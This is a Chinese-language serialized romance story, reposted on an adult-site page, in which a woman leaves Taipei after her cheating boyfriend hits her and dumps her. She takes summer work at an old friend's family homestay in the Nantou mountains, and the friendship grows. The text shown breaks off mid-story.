未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

黑娃娃创作系列之十二∼《遇上妳的错过》

黑娃娃创作系列之十二∼《遇上妳的错过》
原作者:黑娃娃
「喂!老公,我刚加完班回到家了,你在干嘛?」江映雪一进门后,对着手机另一头的男友说着。
她坐在沙发上,脱下了高跟鞋,用手揉了揉,工作了一整天僵硬的小腿
另一头传来了男子的声音:「没在干嘛,妳今天上班还好吧?」
映雪说着:「嗯,今天没什幺事,只是觉得有点累而已。」
男子说:「那妳就早点休息吧,等会儿我也要睡了,手机费很贵的,晚安。」
男子就逕自挂了电话。
「喂∼我…」她还来不及开口,电话就被挂断了
映雪皱了一下眉头,把手机往桌上一搁
心里不免抱怨着:「才讲不到三句话,就急着挂掉…」
起身去卧室里放下包包,换下了上班时的套装,就先去浴室里洗了个澡。
吹乾了头髮后,把刚才从麵摊买来的馄饨汤当成是宵夜,填了一下肚子
打开了笔记型电脑,整理一下明天上班要用的资料
看看了时钟,不知不觉中,哇!快十一点半了,还是快睡觉吧!
在关机前,她看了一下男友的即时通状态是显示离线
她好奇的按到通讯录看一下,疑∼状态里却是显示上线中?
奇怪,他不是说他要去睡了,怎还在线上?
再拨了一下他的手机,传来:「您拨的电话,目前无法接听,请稍候再拨…」
她躺在床上,拉了薄被盖上,看着天花板想着:
这阵子感觉男友好像变得很忙,又有点神秘兮兮的
手机及MSN的连络,也少了很多
如果不是她主动打去,他几乎都不会主动打来找她
想想和男友也交往了将近三年,虽然没有什幺大风大浪
但感情也蛮稳定的,至少她自已是这样认为的
她告诉自己要相信男友,不要乱猜忌,她希望这一切都是自己多虑了。
当初为了男友、为了俩人爱情的维持
她在男友的说服之下,离开了自已家里所开的公司
而选择跟男友进了同一家公司,虽然是不同的部门及大楼
但至少有时下班可以一起去吃饭或回他家
刚开始时,她是感觉这样蛮甜蜜的
只是这一阵子以来,不是她加班,就是他有事出差
她想想应该要找个时间,和男友多聚聚,免得感情变淡了。
今天恰巧她没有加班,在没有事先知会男友的情况下
下班后,她就直接到了男友的家里要等他下班
她还特地带来前几天去逛街时,觉得很适合他,买给他的新衬衫
看了看时钟,都过了晚上七点还没回来,大概他今天有加班吧?
映雪无聊地打开了男友的电脑,顺便登入了他的即时通帐号
突然有个像女孩子的暱称帐号敲了她?
对方开头第一句话就是「宝贝,你回来啦?今天比较早喔!」
映雪虽感到莫名其妙地,但也回打了:「嗯!」
对方:「今天人家好想你喔!还有四天才能见面耶,你想不想我啊?」
她这才想起上星期,男友有跟她提起过下星期五他要下台中出差一趟
原来竟是要跟这女生见面…
映雪整个人楞在电脑前,不太敢相信眼前的这个事实!
那女生又打了:「宝贝,人家月经昨天刚结束,到时你就可以不用载套了,你高不高兴啊?」
映雪看到这一行字,左手不自觉得握紧了些,连青筋都浮了上来
她才了解到,这两、三个月来,每当她主动想跟他亲热一下时
他都说很累、改天,她原以为他是真的工作上很忙、很累
所以都体谅了他、不勉强他,原来是他早就有其它的发洩出口
难怪…她为了自己的傻及对他的信任,苦笑了出来。
她先打上了:「我有事先去忙,晚点再敲妳。」
对方回覆:「爱你喔!嗯^^」
映雪,再也顾不得一切,打开了「检视历史讯息」
她看到了一些男友和对方之前互传一些暧昧的话语
她这才知道,他们已经交往了至少四个月以上了
而男友竟跟对方说〝他没有女友〞!?
还和对方发生过好几次性关係了,看着讯息里他和那女生鹹溼调情的对话
她简直是快气炸了,一种被人背叛的感觉佔据着她的心中。
难怪这半年来,他常常藉口说有事,或是公司要他去中部、南部出差
他都叫她别那幺多疑,要相信他,而他却是背叛了她对他的信任
去私会了第三者,还发生了性关係,这叫她情何以堪?
难怪这一阵子对她都是不闻不问、不关心的态度
她抬头看了看墙上的时钟
此时,等待的时间,连一分钟都让她觉得如此地难熬……
在接近十点钟时,外头传来开门锁的声响
男友一进门看见她,随即一脸讶异的表情说:「老婆,妳…妳怎幺来了?」
映雪坐在沙发上,冷眉竖眼双手横抱着胸
忍住即将要爆发的情绪问说:「你是不是有事要告诉我?」
男友似乎察觉到有异的说:「哪有什幺事,妳今天是怎幺了?上班不开心?」
映雪质问他说:「即时通里,那一个女人是谁?为什幺她叫你宝贝?」
他说:「那是之前在网路上聊天认识的,不是很熟,她叫每个人都是宝贝。」
映雪气愤地说:「这几个月来你都骗我说要出差,我都相信了你,结果你竟然都是去跟她见面,还搞到上床,你以为我不知道吗?我已经看过你MSN里你和她所有的对话了,你现在还在对我鬼话连篇,你是打算还要再骗我多久?」
男友大概知道是东窗事爱,马上变了脸说:「喂!妳干嘛开我的即时通?妳这样子很不尊重我耶!妳侵犯到我的隐私权了。」
映雪说着:「你还跟那女生说,你现在没有女朋友,那我是算什幺?你把我当成什幺了?」
男友见谎言被拆穿,羞愧转生气,咆哮了起来:「妳没事过来干嘛?谁叫妳开我的电脑,开我的即时通看的?」
映雪不敢相信的说:「我是你女朋友,为什幺我不能来找你?如果你没做什幺亏心事,你干嘛怕我看?」
男友要她现在就回家去,有话改天再说
映雪生气地说:「这三年来我对你不好吗?我有对不起你吗?」
她又说:「她那一点比我好?你把她的电话给我,我来跟她说,你有女友了。」
男友一脸敷衍的态度,不悦地说:「好啦!妳先回去啦妳,我会处理好的。」
映雪不敢置信地说:「我跟你在一起快三年了,你今天竟然会了一个你在外面偷吃的女人兇我,还对我大小声?你还是不是人?」
男友也被她激怒了说:「事到如今,我也不想再拖下去了,我要跟妳分手!」
映雪一脸惊讶到不敢置信地说:「你…你说什幺?你再说一遍?」
男友这时大胆地说出:「我已经对妳没有感觉了,我要分手!」
映雪说:「可是我不觉得啊!是不是因为外面那个女人?」
男友残忍地说着:「对!没错!因为现在我觉得跟她在一起比较快乐,加上我对妳已经没有感觉了,跟妳在一起只是一种习惯而已,妳对我已经没有任何吸引力了,我不想再跟妳这样拖下去。」
她不敢相信地说:「她到底有什幺好?说身材我也有身材,说脸蛋我也有脸蛋,我也带得出去不会丢你的脸,你怎幺可以这样子对我?」
一听到分手,映雪着急地说:「不要!我不要分手!」
男友冷笑了一下:「哼!没用的,我现在已经不爱妳了,妳回去吧!」
映雪不敢相信,才半年的时间,怎幺之前甜蜜的感情会演变成这样子
她心想一定是那个女人耍了什幺手段,男友才会像是完全变了一个人似的
她失去了平常的理智说:「你把她的电话、地址给我,你不敢说,我去说,我去叫她不要当我们之间的第三者!」
见男友没有任何的动作,她动手想抢男友的手机,找那女人的电话
在俩人激烈拉扯之间,她的指甲不慎抓伤了男友
男友一怒之下,一巴掌就往她的脸上招呼了下去说:
「妈的!江映雪,妳是疯了是不是?」
男友的一巴掌让她整个人『扣!』的一声去撞到了茶几,摔倒在地上
她感到一阵头昏眼花、好像是去撞到腰部的骨头,让她当场痛得眼泪直流、半天说不出话来
男友逕自从她包包里拿出她的钥匙串,取下了他家的钥匙
更不顾她是否有受伤,一把就将她从地上强拉起
把她的包包硬是塞在她的怀里,还将她从家门口推到了楼梯间
男友冷酷地对她说着:「妳走吧!我们之间已经玩完了。」
『碰』的一声!大声地关上了铁门。
在被男友赶出门后,她扶着腰,忍着身体上的不适及伤心
回到了家,她才放下了自尊,放声大哭了一场
她抚着至今仍感到红热的脸颊,她去照了一下镜子,已经肿了起来
她不敢相信近三年的感情,竟然就在一夕之间,这样的没了?
因为害怕分手,她不死心地在MSN上留言给他:「老公,我不想分手。」
「我不想放弃这段感情,只要你肯回来,我不会在意之前的事,好不好?」
「我发誓,我以后会关心你,对你好一点的,你再给我一次机会好吗?」
但男友在线上,始终是不理会她,大概是跟那第三者在聊天吧
后来,她试着打手机给他,但他就是不接,后来索性还关了机。
隔天,她去上班时,因为脸颊异常肿了一片,很难遮掩得住
一整天下来,她被同事们过度的关心及异样的眼光对待着
『妳脸是怎幺了,妳是被人打了?还是过敏?妳要不要去看一下医生…』
但她只能忍着满腹的委屈,用谎话来欺骗关心她的同事们
晚上她又打了好几通电话给男友,终于有一次他忍不住接了起来
但他始终不出声,任她说了一大堆哀求他的话
他只淡淡的说:「分手就是分手了,没什幺好说的了!我过几天就会把手机号码换掉,即时通帐号也会换掉,江映雪,请妳以后不要再打扰我了,妳走妳的阳关道,我过我的独木桥,还有我警告妳,妳不要在公司里给我到处乱说话,要不然,下次我不会再对妳这幺客气了。」
男友就这样直接挂了她的电话。
为了这段三年的感情能延续下去,她不顾着女人的尊严
明明是他犯了错,她还要低声下气去求他回来
她没想到,男友竟会为了一个认识四个月的女人,而对她如此的翻脸无情!
失眠了一整晚,眼睛也哭得肿到像是核桃似的
她还是一直不敢相信,他们之间三年的感情,就这样分手结束了?
隔天下班后晚上六点多,她面无表情,肩上挂着一个大提包
像是游魂似的,无神地飘荡在大街上
失去了归属感的她,不想太早回家,去面对满屋子的回忆及一个人的寂寞
她的包包不小心去撞到一个男人的肩膀,把他手上拿着的书撞掉了几本
她回过神,赶紧想弯下腰帮忙把书捡起来,但才一想要弯腰
腰部传来的剧痛让她轻呼了出来:「啊!好痛!」
她低着头,连忙道歉着:「先生,真的很对不起,我不是故意的!」
男人捡起了书,站起身对她说:「没关係!只是书而已。」
「疑∼妳是江…映雪?」
她这才抬起头,仔细地看看那男子的脸说:「你?你是…叶志良?」
男子说:「这幺巧!竟然会遇到妳?算算我们也快四年没见面了吧?」
她点了点头:「嗯。」
志良皱了下眉头说:「怎幺看妳一副失魂落魄的样子,妳不舒服吗?」
她淡淡地说:「没什幺。」
志良说:「妳有急着要回家,或是有事要忙吗?」
她思考了一会儿,才摇了摇头
志良提议说:「前面刚好有间咖啡馆,可以坐下来聊聊的。」
映雪看了他一眼,没有反对的点了点头
她看了Menu后,对着服务生点了一杯卡布其诺
志良问她:「妳吃饭了吗?」
她摇了摇头说:「我没什幺胃口,我不饿。」
志良对服务生说:「我一杯拿铁,鲔鱼起司三明治及乳酪蛋糕各两份。」
她听到后,急忙说:「我是真的不饿!你点你的就好了。」
志良说:「没关係,等会儿妳饿了再吃,就算不想吃,回家前再打包回去也行。」
他问说:「对了,刚才一时高兴,忘了问妳,妳怎幺会在这里的?」
她说:「我就在这附近的公司上班,平常都搭公车转捷运,今天不想搭公车
就想散散步走到捷运站。」
她问说:「志良,那你呢?你最近在干嘛?」
志良说:「我也在这附近上班,混口饭吃,还过得去…。」
此时服务生也送上了他们所点的东西
志良一直不时地盯着她的脸上瞧
她感到奇怪地问说:「怎幺了?你干嘛一直看着我?」
志良说:「我感觉妳现在很不像我以前认识的江映雪耶?」
她说:「有吗?」
志良试探性地说:「嗯∼妳左边的脸是怎幺了?看起来好像有点…怪怪的」
她没想到都过了两天,还是这幺明显…
她忍不住一时委屈,眼眶红了起来说:「前天被男友不小心打到的。」
志良关心地问说:「是怎幺了?他为什幺打了妳?」
她沮丧地说着:「唉∼其实我才刚跟现在的男友分了手。」
志良问说:「是喔?是什幺原因?」
她开始掉着眼泪说着:「我们交往了快三年,前几天我发现他偷吃劈腿,结果他一气之下就说要跟我分手,我不要!我想要拿他的手机,想找那女的理论,在拉扯时,他不小心打了我一巴掌。」
志良说:「那…妳怎幺说?」
她说:「我有想要挽回,我一直求他,可是这几天一直打电话给他,他都不接,还说他要换手机号码,他好像铁了心要分手的样子。」
她又说:「我们还是同公司的,在公司里也渐渐传开了,感觉好难受,我真后悔当初为什幺要跟他进同一家公司!」
说完后,她就低着头啜泣着
志良抽了几张面纸递给了她,她哽咽地说了声:「谢谢!」
志良问说:「嗯,那妳接下来打算要怎幺办?」
她吸了一下鼻子,叹了一口气说:「我也不知道该怎幺办?心头很乱,我实在不想再被同事们用同情的眼光看着,我有在想离职,暂时不想再见到他了。」
志良很认真地想了想,问她说:「那妳会考虑到外县市工作吗?」
她抬起了头,一脸狐疑地缓缓地问说:「什幺?」
志良说:「事情是这样子的,因为最近快到暑假旅游的旺季了,我老家今年刚好有打算要应徵人帮忙民宿的工作,不过是短期的喔,工作大约只有三个月而已,工作地点在南投的山上,虽然待遇可能比不上妳现在的工作,但那里风景优美、空气好、工作很单纯、没压力、供三餐、还供住。」
她又好奇地问了一下说:「那民宿工作的内容大概是什幺?」
志良解释着,只是一些不太需要动脑筋的简单劳力工作,像是接待客人、
介绍环境、整理环境、柜檯登记,去年之前的每年暑假都是我妹一个人包办,但今年她吵着要找人帮忙,她说一个人太累她吃不消了,我想以妳的能力,应该是游刃有余,也可以让妳暂时离开这个伤心地,去散散心,工作大概是下个月才会开始,这是我现在的名片,妳可以考虑一下,妳如有这个打算再告诉我说一声,我再帮妳安排,我也还在找人当中,如果是妳的话,我信得过妳,当然这不勉强,也要看妳自己的意愿及规划。
别忘了妳的三明治,冷了就不好吃了,先别烦恼这些了,先吃吃看!
她收下了名片,挤出了一个微笑说:「谢谢!」
志良淡淡地说着:「如果还当我是朋友的话,就别客气了。」
说完后,他望着她的脸庞,发呆了一下子
她察觉到像似有异样的眼光正注视着她,抬起头问说:「怎幺了?」
志良装作若无其事,笑了一下说:「没什幺,妳快趁热吃啊!」
在他们要离开时,她才一起身
腰部传来的痛楚,让她脸上又出现痛苦的表情
志良紧张地问说:「妳怎幺了?」
她说:「那天被他打到时,腰去撞到茶几,撞到骨头淤青了。」
志良关心地问说:「妳有去看医生吗?」
她逞强地说:「没关係,过几天应该就会好的。」
志良交待她说:「妳回家后,用毛巾冰敷,这样会帮助伤口凝结,过几天后再用热敷,帮助伤口清除血块,多吃点水果、蛋白质。」
志良问说:「妳这样子回家真的没问题吗?要不要我送妳回去?」
她淡淡地说:「没问题的,我已经这样过了两天的日子了,谢谢,拜拜。」
回到家后,她马上看了看MSN,男友果真如他所言,像是换了帐号
而手机再拨过去,也是「您拨的这个号码已暂停使用,请查明后再拨。」
他真的就这样的狠心,断了和她之间的连繫,也断了他们三年的感情
看着整屋子里和男友曾有的浪漫回忆,她不禁又流下了不捨的眼泪
她突然有一种想要逃离这一切的念头,心中开始认真思考着志良的建议。
一个月后,她如愿的离了职,离开了待了将近两年的公司
打包了一些行李,她就坐上长途客运换车到了埔里这个小镇
在客运车上,她想着和志良从认识到现在,将近五年多了
从学生时期开始认识了他,到他当完兵退伍、出社会
虽然中间隔了将近四年没有连络,但以朋友来说,他是她很信任的朋友。
下了车后,她看见志良正坐在一台九人小巴士的驾驶座上
用眼光检视着下车的乘客们,试图找寻着她的蹤影
她吃力地提着两个大行李箱,主动对他挥了挥手
志良见状赶紧下了车,主动帮她把两个大行李箱给提了过来,放上车
而车上还有一个年纪比她小一点的女孩子,她猜想应该就是志良的小妹吧!
她说:「志良,你会不会太小题大作了点?开一台这幺大台的车来接我?」
志良的小妹先开了口说:「我家平常就是开这一台当交通车在用的,对了
我叫叶晓柔,叶子的叶、春眠不觉晓的晓、温柔的柔,我是他小妹,听说妳刚跟男友分手、妳刚失恋喔?」
志良从照后镜里看到映雪对着他,白了他一眼,似乎是在怪他多嘴!
他对着镜子用举了右手对她敬个礼,表示他的道歉!
她也介绍起自己:「很高兴认识妳,我叫江映雪,三点水的江、心心相映的映
下雪的雪,是的,我刚失恋,往后这三个月就要拜託妳多照顾了。」
晓柔就好奇地问着映雪,为什幺她会跟男友分手的事……
在晓柔一阵指责的骂声中,小巴士也穿过群山顺着蜿蜒的山路,越爬越高
将近快一个小时,才到达民宿的所在。
一下车,映雪小声地讚叹了起来:「哇!好大一栋欧式的建筑!」
晓柔拉着映雪的手说:「我带妳去认识一下环境,哥!行李就麻烦你了。」
志良一脸咬牙切齿的模样,彷彿在对晓柔说着:「应该是我带她去才对!」
晓柔回头对志良作了个鬼脸!
志良只能心不甘、情不愿的去停车,顺便把行李给提进里面去
晓柔介绍说:「民宿的所有套房,都在刚才那一大栋的建筑里,前面是前庭
地上有铺石板当作是步道,这样下雨时,才不会脚底踩得全是烂泥巴
前庭如妳所见,还有一些可以看山景及晚上赏月、观星的咖啡桌及遮阳伞
后院那一大片地方是我老爸专门捻花惹草、种菜的地方
对了,还有一间工作房可以洗床单、枕头套及日常的衣物
我老爸最喜欢人家称讚他花种得很漂亮,以及称讚他看起来还很年轻!
如果妳看到我老爸记得叫叔叔,我老妈就叫阿姨,记得喔!
映雪笑了出来,点了点头:「嗯!好的。」
民宿里有我老爸、老妈、我,再加上妳跟我哥,总共五个人而已
映雪好奇地问说:「等一下,妳说还有妳哥?妳哥他平常不是在台北上班?」
晓柔说:「对啊!可是他是在我大哥的公司里上班啊,每年他暑假旺季都会请长假回来帮忙,他没告诉妳吗?」
映雪摇了摇头,表示她不知道这件事。
晓柔说:「妳放心啦!我哥人很好相处的,他人很好的。」
映雪点了点头头,不自觉的笑了一下说:「嗯∼这个我知道…」
里面扣掉我哥、我爸妈及我们两个住的房间,总共有12间客房
八间2人套房,四间4人套房,等会儿,我再带妳进去看看里面长什幺样子
我们平常大都在柜檯接待房客、办理登记,及介绍环境
早上十一点后到下午三点之间就是整理一下环境,桌椅擦拭一下之类的
十二间客房内的打扫及清洁,有请两个当地算钟点的阿姨,所以不用费心
他们会把用过的床单、枕头套更新换下
旧的会拿去后院的工作房,坐清洗及晒乾的动作
我爸、妈每天会在晚上十一点钟把大门关上,到隔天清晨才会开
我妈爸他们已经习惯了民宿的生活,都固定早起、晚睡
妳只要帮忙早上八点到下午四点的这段时间
因为这时,房客多,要check
in、退房会比较忙
及房客会询问行程,需要妳的帮忙,下午四点妳下班后,就是妳的时间了
看妳是想出去附近散步或是在房间里打电脑都行
也可以叫我哥开车载妳出去这附近四处走走
每天早上不是我哥就是我爸会开车出去,採买补给一些生活必需品
妳如果有需要买东西,也可以请他们顺便帮妳买回来
晓柔说:「这样明了了吗?」
映雪说:「嗯!如果有不懂的地方,再麻烦妳教我了,谢谢妳,晓柔。」
俩人走回了主栋,晓柔叮咛说:「里面都是欧式原木的建筑,连地板也是,进去时要在玄关的地方脱鞋子,要不然会刮伤地板的。」
走到了三楼的一间房间,晓柔说:「这是往后妳要住的地方,我跟妳同住一间房,这原来是一间四人的套房,所以比较大,如果妳不喜欢跟我一起睡,也可以选择跟我哥一起睡,不过他那一间就只是两人的套房而已。」
映雪笑了出来说:「我又不是疯了,或是想不开。」
晓柔说:「那妳先整理一下行李,把衣物东西先放好,那边的空衣柜是从我哥那间搬出来的,因为他也不长住很少用到,他就说要移出来给妳用。」
映雪说:「谢谢妳,对了,以后妳就叫我小雪就好了。」
晓柔说:「嗯∼那妳以后也叫我小柔好了,奇怪?我本来就叫晓柔了…那我先下去忙啰,等会儿吃饭时,我再上来叫妳。」
几天后,一早志良见到小雪的面问说:「嗯∼工作、住得还习惯吗?」
小雪说:「每天真的都很悠闲,睡得也很好,早餐有地瓜稀饭、酱瓜、麵筋、荷包蛋、嫩笋丝、炒高丽菜、肉鬆,还有烤土司涂花生、巧克力酱,比我在台北时,吃得还丰盛!我真怕到时回去,会胖了好几公斤。」
志良说:「在这住三个月后,说不定妳连前男友叫什幺名字都会忘了。」
小雪没有多想地脱口而出:「才不会咧!」
她低下了头咬了一下嘴唇,气自己有时说话,都会冲动的不经过大脑
志良说:「没关係啦!我保证妳三个月后,可能还会捨不得回去呢!」
志良就说:「那等会儿吃过早饭后,我们就準备上车吧!」
小雪不解地说:「嗯?要去哪里?」
志良说:「今天刚好我有要载两对房客去小瑞士花园,妳应该没去过,我今天没什幺事,顺便带妳一起去进去看看,风景蛮不错的!」
志良带着小雪走进了里面,迎面就是一座欧洲式花园里必有的雕像喷泉
小雪一看眼睛都亮了起来,四处都是不同颜色品种的花卉,对爱花的女孩子来说,简直是他们梦中的天堂,小雪看到这幺多的花,心情似乎变得开心多了!
还有一大片的人工湖泊,里面养了许多肥肥胖胖的锦鲤,完全不怕人,只要有人去餵养饲料,就聚集成一大群争先恐后的争食。
小雪惊呼着:「哇!好肥的鱼,如果捉一条上来蒸,一定吃不完的!」
志良笑了出来:「才不要咧!锦鲤土味那幺重,一定不好吃!」
湖面上还可以看见一些悠游自在的鸭子在划着水
旁边还有小桥造景、凉亭、香草植物,风车、阿尔卑斯双塔
长得像是三角型的印第安花房,原来那是可以供人住宿的
在里面逛了一圈后,志良又载着房客回到了民宿
小雪回去后,一直拉着晓柔急着跟她诉说着,那里面有多漂亮
她在台北都没有看过这幺多的花,但晓柔是从小看到大,一脸见怪不怪的样子
而一旁的志良,看着小雪一点小小的改变,也露出了高兴的微笑。
过了几天,一大早就看得出,今天会是一个晴朗的好天气
志良今天要开车带第一次来住房的两对房客,去参观附近的清境农场
他一看到了小雪就跟她说:「妳还不快点!」
小雪说:「要干嘛?」
志良说:「今天要带妳去看脱衣舞,晚了就看不到了!」
小雪好奇地问说:「这里有…有脱衣舞可以看?警察不会捉吗?」
志良笑了一下说:「有呀!警察不会捉的,大家就等妳一个城市乡巴佬了!」
小雪咬了一下嘴唇、瞪了志良一眼,开玩笑地说:「你才是城市乡巴佬!」
小雪问说:「那工作怎幺办,晓柔跟你父母忙得来吗?」
志良说:「他们比这更忙的状况都应付过,这妳不用担心。」
志良开着九人巴士,顺便对房客们讲说着:「这边约是海拔1700公尺,所以紫外线比平地来得强,车上前面这里有放防晒乳,记得下车前要擦一下,要不然,晚上洗澡时,你就知道我没骗你们了,这边日夜温差约10度左右,白天很热、晚上会有点冷,等会我们就进去里面逛,九点半在青青草原那里有绵羊秀,记得要去看喔,预计3个小时后,我们在原地集合上车。」
小雪一身轻便的蓝色牛仔裤和橙色的短T恤,用髮束绑了一束马尾
她自觉得跟以往在台北上班时的套装打扮,截然不同,感觉比较有活力些
她第一眼的印像就是天空好蓝、山好绿、云好白、青草的味道好香!
走在农场的小径上,身旁也有不少前来游玩的游客
小雪惊呼了出来:「志良,你看那边!是羊耶!真的羊耶!」
志良若无其事的说:「对…难不成会是老虎吗?有这幺特别吗?」
小雪一脸兴奋地说:「有啊!我从来没有这幺近的距离看过羊耶!」
志良酸了她一下:「说妳是城市乡巴佬,还不承认…」
小雪生气地用肩膀顶了他一下说:「你才是!」
主持人介绍着,这是青青草原的牧羊犬赶绵羊秀,不是赶羚羊
打开了栅栏,一只聪明的牧羊犬将数十只羊只们通通赶到了山顶上
接着又驱赶着几十只羊一起狂奔下山,像是万羊奔腾的景像
经过分类的栅栏后,捉了一只毛蓬蓬的绵羊上台
开始像是煞有其事的说,因为这里羊只太多了,所以要拍卖这整只羊出去
只要摸鼻子、摸头髮都算是在出价,出价以美金计算。
志良恶作剧地对小雪说:「耶?妳头髮上有髒东西!」
小雪不知情地摸了一下,结果就被当成是出价要买绵羊
直到台上主持人的麦克风传来:「这位穿橘色衣服的小姐出价了。」
小雪这才意识到,原来被被志良给陷害了!
小雪又气又好笑地说:「叶志良!如果我买到,我一定把绵羊养在你房间里!」
还好,最后是一位小妹妹得标了。
主持人把小妹妹捉到羊只上,要她把小绵羊当成是50.CC的机车给骑回家
原来是在跟大家开玩笑,后来是让小妹妹跟绵羊拍张照片作纪念
小雪跟现场的游客一样,被逗得不时笑了出来,露出她久违了的开心笑容
主持人展现了十几秒就用一把电动剃刀,就把一整只羊给剃光的功力
博得大家热烈的掌声,现场还发送奶瓶,给游客尝试餵养小绵羊
有小孩拿着奶瓶去餵小羊,结果被小羊吸吮的拼劲,吓得嚎淘大哭
绵羊秀结束后,主持人还把绵羊群都赶到游客身旁,让大家更亲近羊群。
小雪觉得有疑问地问说:「啊∼怎幺没看到脱衣舞?」
志良说:「有啊!妳刚不是看过了?」
小雪说:「那有?」
志良说:「有啊!就羊咩咩的脱衣舞啊!它整件衣服都被剥下来了呀!」
小雪嘟着嘴说:「你骗我,害我以为有那种脱衣舞!」
志良冷冷地说:「那种妳晚上自己在房间里跳就有了,没想到原来妳那幺色,那幺喜欢看那种脱衣舞…」
小雪假装生气地说:「叶志良!你是想死是不是?还是你现在是想被电动剃刀全身剃毛喔?」
志良说:「我才不要被人弄成白斩鸡,一点毛都没有!」
小雪作势伸出手正要解开他的皮带,要脱他的裤子
志良吓得阻止了她:「喂!妳在干嘛!」
小雪恶作剧地说:「我看一下你是不是真的是白斩鸡啊?没有毛的!」
志良一脸又怪又害怕的表情说:「妳神经病!谁会没有毛?」
小雪看到志良的反应,哈哈大笑了起来。
志良去买了两包饲料给小雪,交待她:「妳要拿好喔,他们很精的,他们有时会趁妳不注意时偷袭妳,把妳手上的纸袋咬破,让饲料掉满地喔!」
小雪才一打开,马上就有一头羊咩咩飞奔到她的身边,抬头望着她手上的饲料
志良说:「妳放在手上,它不会咬妳的,我餵过很多次了,我示範给妳看。」
说完后,志良就拿了几粒放在手心上,绵羊就低头一下子给嗑掉
志良说:「妳看,没问题吧!」
小雪这才敢尝试看看,她惊叫着:「好痒!啊!它的口水留在我的手上!」
这头耳朵上编号136的绵羊,就跟在小雪的身边寸步不离
几只绵羊看到这有东西吃,也过来争食!
小雪身旁围了好几头羊,她一方面觉得很好玩,一方面又会感到有点害怕
她还很认真的一只一只平均餵:「不行!你太贪心了,你刚才吃过了,这次要换别人吃了。」
她认真的模样,搞得一旁的志良不时望着她而偷笑着
一边餵着,她还一边偷摸着羊只身上的毛说:「原来这就是羊毛!」
终于她把两包饲料都给餵光,绵羊们看没东西吃了,就又追着其它人跑
小雪笑笑地抚着心口说:「好多只羊围着我,吓死我了!」
志良打趣地说:「那晚上妳睡不着时,就可以数着这几只绵羊睡觉了。」
小雪说:「你家的床超软超好睡的,这里晚上又好冷,我哪里会睡不着?」
志良故意地牵起了小雪的手说:「走吧!那我带妳去洗个手。」
被他牵起了手,小雪感到手心里传来暖暖的触觉,及一股熟悉的感觉…
志良到了纪念品部,买了几盒羊奶糖,要带回去给晓柔
还拿了一支羊奶雪糕递给小雪,要她嚐嚐看
小雪好奇地问说:「志良,你退伍后,有交女朋友吗?」
志良一边拆着羊奶糖的盒子,剥好了一颗就往小雪的小嘴塞了进去说:
「乖!映雪妹妹,妳话太多了,来吃颗糖果。」
小雪无奈地含着羊奶糖说:「哪有!我才小你一岁而已,哪算妹妹?而且我话才没有很多。」
志良开玩笑地说:「妳男友没教过妳,嘴巴含着东西时,不可以说话吗?」
小雪白了志良一眼,槌了他的肩膀一下生气地说:
「你不要在我面前提到他!」
志良这才发现玩笑开过了头,引起了她的不悦!
他改口说:「我缘份还没到,妳呢?妳就只交这一个?」
小雪说:「嗯!只是没想到三年的感情,竟然会这样的脆弱,这幺的经不起考验,是因为我的脸蛋、身材、个性有不好吗?否则为什幺我男友会想要劈腿呢?」
志良瞧了她一眼说:「不会啊!以前去联谊时,妳也是常常被男生要电话,现在比较成熟了一点,身材好像也有好一点,脸蛋也还不错,个性这我就不晓得了,不过,应该不太可能是因为身材、脸蛋的关係,大概是他喜新厌旧了吧。」
志良随口问说:「那妳现在会考虑交新的男朋友吗?」
小雪叫了出来:「啊?那边的摊贩是在卖什幺东西的?」故意岔开了话题
志良说着:「高山竹笋汤、摆夷豆干、炸香菇、高山水果、蔬菜及一些小吃…」
小雪好奇地问说:「什幺是摆夷豆干?」
志良就直接买来给她吃
小雪自顾自地说着:「原来是滷豆干夹酸菜,蛮特别的,没吃过!」
志良说:「时间也差不多了,我们也该到停车处等房客他们了。」
志良站在她身后,看着她的背影,摇了摇头,叹了一口气……
当晚小雪拿着笔记型电脑在户外的咖啡桌打着,旁边放了一杯花茶
她把这几天看到的风景及心情,打成了一篇长长的网誌
而背景放上了一首,她觉得蛮切合心情的一首歌
歌名:亲爱的你怎幺不在我身边
原唱者:江美琪
她一边哼着歌词
『我的亲爱的,你怎幺不在我身边,一个人过一天像过一年
海的那一边,乌云一整片,我很想为了你快乐一点
可是亲爱的,你怎幺∼不在身边?』
小雪看着她自己写下来这些日子的心情
在黑夜的笼罩下,寂寞无声地来袭,联想到,她刚刚失去的三年感情
不知不觉又流下了难过的泪来
后来,大概是她发洩情绪完,流失了不少水份,把花茶一饮而尽,
放下杯子后,她的眼前突然出现了两张面纸
她转头看了一眼说:「干嘛没事站在人家身后不出声音?」
小雪将面纸接过手,吸了一下鼻子,把脸上的泪水擦乾
志良说:「没干嘛,听到有人在唱卡拉OK,好奇就来听了一下。」
志良摸了摸她的头说:「又想到分手的事?适时发洩一下情绪是好事,这样才好得快!」
小雪赶紧閤上了笔电,怕被志良看到她心底的脆弱
志良留下了一句:「以前我都走得出来了,我想妳一定更没问题的!」
他就转身离开,走回了屋子,上楼去
她撇过头,看着另一边皎洁月色下的对面山景
一想到志良的话,她的思绪飘到很久、很久以前………。
时间过了一阵子,某个黑夜里
民宿的前庭四周角落,散落着几盏底矮的景观灯
昏黄的灯光更增添悠闲及写意的气氛,四周有着和谐的虫鸣声
这天志良正坐在某一角的咖啡座里,专心的敲打着键盘
突然背后传来一声「哇!」
害他多按了几下,他不用回过头看,也知道是谁会这幺无聊
他说:「江映雪,妳不知道人吓人,是会吓死人的喔!」
小雪笑了出来,还是一身休闲装扮,手上拿着一杯正在冒烟的咖啡杯
站在他身后问说:「志良,你在干嘛?」
他说:「有网友想要来这里玩,但有些问题请教,我正在回信给他们。」
「喔!」小雪便逕自拉开了一个椅子,坐了下去
他一边看着莹幕快速打着字,一边问说:「小雪,妳来这里多久了?」
小雪歪着头想了一下说:「也快三个礼拜了。」
他一边打着字一边问说:「那妳心情有好一点吗?」
小雪简单地回答说:「嗯!」
他的手停了下来,抬头看了她一眼说:「真的?」
小雪啜了一口咖啡,试了一下温度说:「假的。」
他笑了出来说:「我就知道,告诉妳一个秘密,之前我失恋时,也是过了快三个月才走出来的。」
小雪看了他讶异地问说:「是喔!你会需要用到这幺久的时间吗?」
他盯着莹幕说:「当然要了!我本来就很重感情了,而且那是我的初恋。」
小雪开玩笑地说:「是嘛?我怎幺从来不觉得你是这样的人?」
他说:「况且人脑又不是电脑,可以马上消除记忆的!」
小雪笑了出来说:「有道理!难怪到现在我还是会想到我男友,不过我江映雪是个敢爱敢恨的女人,我一定做得到。」
